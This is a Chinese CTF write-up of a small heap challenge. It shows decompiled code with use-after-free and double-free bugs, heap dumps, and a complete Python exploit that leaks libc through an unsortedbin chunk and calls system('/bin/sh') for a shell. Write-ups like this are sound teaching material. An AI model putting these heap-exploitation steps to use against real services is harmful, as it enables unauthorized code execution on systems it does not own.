前言
一个简单的堆问题,要点是如何用0x80的chunk泄露出libc
今天是第15天,继续努力!
题目情况
You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
逆向分析
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 choose; // rax
__int64 v5[10]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v6; // [rsp+68h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(v5, 0, sizeof(v5));
while ( 1 )
{
while ( 1 )
{
choose = menu();
if ( choose != '*' )
break;
_((__int64)v5); // *
// 任意函数调用
// 申请8次,释放,最后一次进入unsortedbin,拿到libc leak
// 最后2次申请的chunk需要位于前两次申请的地方
// 一个写入地址
// 一个写入参数
}
if ( choose > '*' )
{
LABEL_13:
error("Invalid choice!\n");
}
else if ( choose == 3 )
{
show(v5); // 3
// 可以打印内容,存在UAF
}
else
{
if ( choose > 3 )
goto LABEL_13;
if ( choose == 1 )
{
add(v5); // 1
// 申请1--0x80的内存
// 最多10次,读取内容,无溢出
}
else
{
if ( choose != 2 )
goto LABEL_13;
delete(v5); // 2
// 疑似double-free
}
}
}
}
如注释所述,接下来看看具体内容:
add:
unsigned __int64 __fastcall add(__int64 *a1)
{
unsigned __int8 idx; // [rsp+15h] [rbp-1Bh]
unsigned __int16 size; // [rsp+16h] [rbp-1Ah]
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
get_empty_note(a1);
printf("\nHow big is your request?\n\n馃拃 ");
size = read_num(); // size
if ( size > 1u && size <= 0x80u )
{
printf("\nPage?\n\n馃拃 ");
idx = read_num(); // idx
if ( (unsigned __int8)check_idx(idx) == 1 ) // 需要<=9,最多10个
{
a1[idx] = (__int64)malloc(size); // 申请内存
printf("\nName of victim:\n\n馃拃 ");
read(0, (void *)a1[idx], size - 1); // 写入内容,无溢出
printf("%s\n[!] The fate of the victim has been sealed!%s\n\n", "\x1B[1;33m", "\x1B[1;36m");
}
}
else
{
error("Don't play with me!\n");
}
return v4 - __readfsqword(0x28u);
}
可以使用最多10个chunk,大小最大0x80
free:
unsigned __int64 __fastcall delete(__int64 *a1)
{
unsigned __int8 idx; // [rsp+17h] [rbp-9h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("\nPage?\n\n馃拃 ");
idx = read_num();
if ( (unsigned __int8)check_idx(idx) == 1 )
{
if ( a1[idx] )
printf("%s\nRemoving page [%d]\n\n%s", "\x1B[1;32m", idx, "\x1B[1;36m");
else
error("Page is already empty!\n");
free((void *)a1[idx]); // 无论是否,都会再次调用free,double-free漏洞
}
return v3 - __readfsqword(0x28u);
}
释放后不清空指针,导致UAF
show:
unsigned __int64 __fastcall show(__int64 *a1)
{
unsigned __int8 idx; // [rsp+17h] [rbp-9h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("\nPage?\n\n馃拃 ");
idx = read_num();
if ( (unsigned __int8)check_idx(idx) == 1 )
{
if ( a1[idx] )
printf("\nPage content: %s\n", (const char *)a1[idx]);
else
error("Page is empty!\n");
}
return v3 - __readfsqword(0x28u);
}
可以读取释放后内存的数据
选项42:
unsigned __int64 __fastcall _(__int64 *a1)
{
void (__fastcall *v2)(__int64); // [rsp+18h] [rbp-18h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("\x1B[1;33m");
cls();
printf(aS, "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;36m");
v2 = (void (__fastcall *)(__int64))strtoull((const char *)*a1, 0LL, 16);// 字符串转数字
if ( v2 || *(_BYTE *)*a1 == '0' || *(_BYTE *)(*a1 + 1) == 'x' )// 0x开头
{
if ( !*a1 || !a1[1] )
{
error("What you are trying to do is unacceptable!\n");
exit(1312);
}
puts(aExecuting);
v2(a1[1]); // 函数调用
// a1[0]的内容作为地址
// a1[1]的内容作为参数
}
else
{
puts("Error: Invalid hexadecimal string");
}
return v3 - __readfsqword(0x28u);
}
这里接收idx0和idx1的两个指针的值,第一个作为十六进制数,解析成数字作为函数地址进行调用
第二个作为参数被使用
利用分析
辅助函数:
def cmd(i, prompt=b"\xf0\x9f\x92\x80\x20"):
sla(prompt, i)
def add(sz:int,idx:int,ctx:bytes):
cmd('1')
sla(b"How big is your request?",str(sz).encode())
sla(b"Page?",str(idx).encode())
sla(b"Name of victim:", ctx)
#......
def free(idx:int):
cmd('2')
sla(b"Page?",str(idx).encode())
#......
def show(idx:int):
cmd('3')
sla(b"Page?",str(idx).encode())
#......
leak libc address
这个参数42可以任意函数执行,要做的就是拿到函数地址
可以最多申请0x80字节 内存,可控10个内存
申请0x80的内存装满tcache,然后多出来一个进入unsortedbin,从这里拿到libc leak:
for i in range(8):
add(0x80, i, b"a")
for i in range(7,-1,-1):
free(i)
show(0)
ru(b"Page content: ")
leak = rl()[:-1] + b"\x00\x00"
leak = unpack(leak)
print(hex(leak))
此时的内存:
0x5581ff4f56a0 0x0000000000000000 0x0000000000000091 ................ <-- unsortedbin[all][0]
0x5581ff4f56b0 0x00007f761b97dce0 0x00007f761b97dce0 ....v.......v...
0x5581ff4f56c0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f56d0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f56e0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f56f0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5700 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5710 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5720 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5730 0x0000000000000090 0x0000000000000090 ................
0x5581ff4f5740 0x00005584a750a325 0x4268de7c24e1d2c4 %.P..U.....$|.hB <-- tcachebins[0x90][0/7]
0x5581ff4f5750 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5760 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5770 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5780 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5790 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f57a0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f57b0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f57c0 0x0000000000000000 0x0000000000000091 ................
0x5581ff4f57d0 0x00005584a750ac95 0x4268de7c24e1d2c4 ..P..U.....$|.hB <-- tcachebins[0x90][1/7]
0x5581ff4f57e0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f57f0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5800 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5810 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5820 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5830 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5840 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5850 0x0000000000000000 0x0000000000000091 ................
0x5581ff4f5860 0x00005584a750ac05 0x4268de7c24e1d2c4 ..P..U.....$|.hB <-- tcachebins[0x90][2/7]
0x5581ff4f5870 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5880 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5890 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f58a0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f58b0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f58c0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f58d0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f58e0 0x0000000000000000 0x0000000000000091 ................
0x5581ff4f58f0 0x00005584a750ad75 0x4268de7c24e1d2c4 u.P..U.....$|.hB <-- tcachebins[0x90][3/7]
0x5581ff4f5900 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5910 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5920 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5930 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5940 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5950 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5960 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5970 0x0000000000000000 0x0000000000000091 ................
0x5581ff4f5980 0x00005584a750aee5 0x4268de7c24e1d2c4 ..P..U.....$|.hB <-- tcachebins[0x90][4/7]
0x5581ff4f5990 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f59a0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f59b0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f59c0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f59d0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f59e0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f59f0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5a00 0x0000000000000000 0x0000000000000091 ................
0x5581ff4f5a10 0x00005584a750ae55 0x4268de7c24e1d2c4 U.P..U.....$|.hB <-- tcachebins[0x90][5/7]
0x5581ff4f5a20 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5a30 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5a40 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5a50 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5a60 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5a70 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5a80 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5a90 0x0000000000000000 0x0000000000000091 ................
0x5581ff4f5aa0 0x00000005581ff4f5 0x4268de7c24e1d2c4 ...X.......$|.hB <-- tcachebins[0x90][6/7]
0x5581ff4f5ab0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5ac0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5ad0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5ae0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5af0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5b00 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5b10 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5b20 0x0000000000000000 0x00000000000204e1 ................ <-- Top chunk
drop shell
然后申请idx=0的内存写入system函数地址,申请idx=1的内存写入/bin/sh
字符串,即可拿到shell:
add(0x80,0,hex(libc.sym.system))
add(0x80,1,b"/bin/sh\x00")
内存布局:
0x5581ff4f5730 0x0000000000000090 0x0000000000000090 ................
0x5581ff4f5740 0x6231363766377830 0x000a303764336237 0x7f761b7b3d70..
0x5581ff4f5750 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5760 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5770 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5780 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5790 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f57a0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f57b0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f57c0 0x0000000000000000 0x0000000000000091 ................
0x5581ff4f57d0 0x0068732f6e69622f 0x000000000000000a /bin/sh.........
0x5581ff4f57e0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f57f0 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5800 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5810 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5820 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5830 0x0000000000000000 0x0000000000000000 ................
0x5581ff4f5840 0x0000000000000000 0x0000000000000000 ................
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b"\xf0\x9f\x92\x80\x20"):
sla(prompt, i)
def add(sz:int,idx:int,ctx:bytes):
cmd('1')
sla(b"How big is your request?",str(sz).encode())
sla(b"Page?",str(idx).encode())
sla(b"Name of victim:", ctx)
#......
def free(idx:int):
cmd('2')
sla(b"Page?",str(idx).encode())
#......
def show(idx:int):
cmd('3')
sla(b"Page?",str(idx).encode())
#......
for i in range(8):
add(0x80, i, b"a")
for i in range(7,-1,-1):
free(i)
show(0)
ru(b"Page content: ")
leak = rl()[:-1] + b"\x00\x00"
leak = unpack(leak)
print(hex(leak))
pause()
libc.address = leak -0x21ace0
log.success(f"LIBC: {hex(libc.address)}")
add(0x80,0,hex(libc.sym.system))
add(0x80,1,b"/bin/sh\x00")
cmd(42)
ia()
总结
一个简单的堆问题,UAF泄露libc